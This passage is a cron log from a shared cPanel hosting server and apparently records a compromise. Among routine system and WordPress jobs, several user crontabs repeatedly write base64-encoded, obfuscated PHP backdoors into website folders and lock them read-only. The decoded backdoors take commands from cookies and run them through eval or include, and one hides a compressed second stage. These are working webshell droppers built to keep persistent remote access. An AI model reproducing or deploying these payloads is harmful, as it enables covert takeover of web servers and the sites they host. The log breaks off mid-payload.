"PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:38:02 medusa CROND[8039]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:38:02 medusa CROND[8049]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:38:02 medusa CROND[8054]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:39:01 medusa CROND[13752]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 22:39:01 medusa CROND[13753]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 22:39:01 medusa CROND[13754]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 22:39:01 medusa CROND[13755]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 22:39:01 medusa CROND[13757]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 22:39:01 medusa CROND[13758]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 22:39:01 medusa CROND[13762]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:39:01 medusa CROND[13763]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 22:39:01 medusa CROND[13769]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:39:01 medusa CROND[13773]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:39:01 medusa CROND[13774]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Mar  1 22:39:01 medusa CROND[13775]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:39:01 medusa CROND[13776]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 22:39:01 medusa CROND[13777]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 22:40:01 medusa CROND[20060]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  1 22:40:01 medusa CROND[20220]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 22:40:01 medusa CROND[20221]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  1 22:40:01 medusa CROND[20222]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 22:40:01 medusa CROND[20219]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  1 22:40:01 medusa CROND[20223]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 22:40:02 medusa CROND[20227]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 22:40:02 medusa CROND[20231]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 22:40:02 medusa CROND[20230]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 22:40:02 medusa CROND[20232]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:40:02 medusa CROND[20237]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  1 22:40:02 medusa CROND[20240]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 22:40:02 medusa CROND[20241]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 22:40:02 medusa CROND[20242]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 22:40:02 medusa CROND[20249]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 22:40:02 medusa CROND[20250]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  1 22:40:02 medusa CROND[20251]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0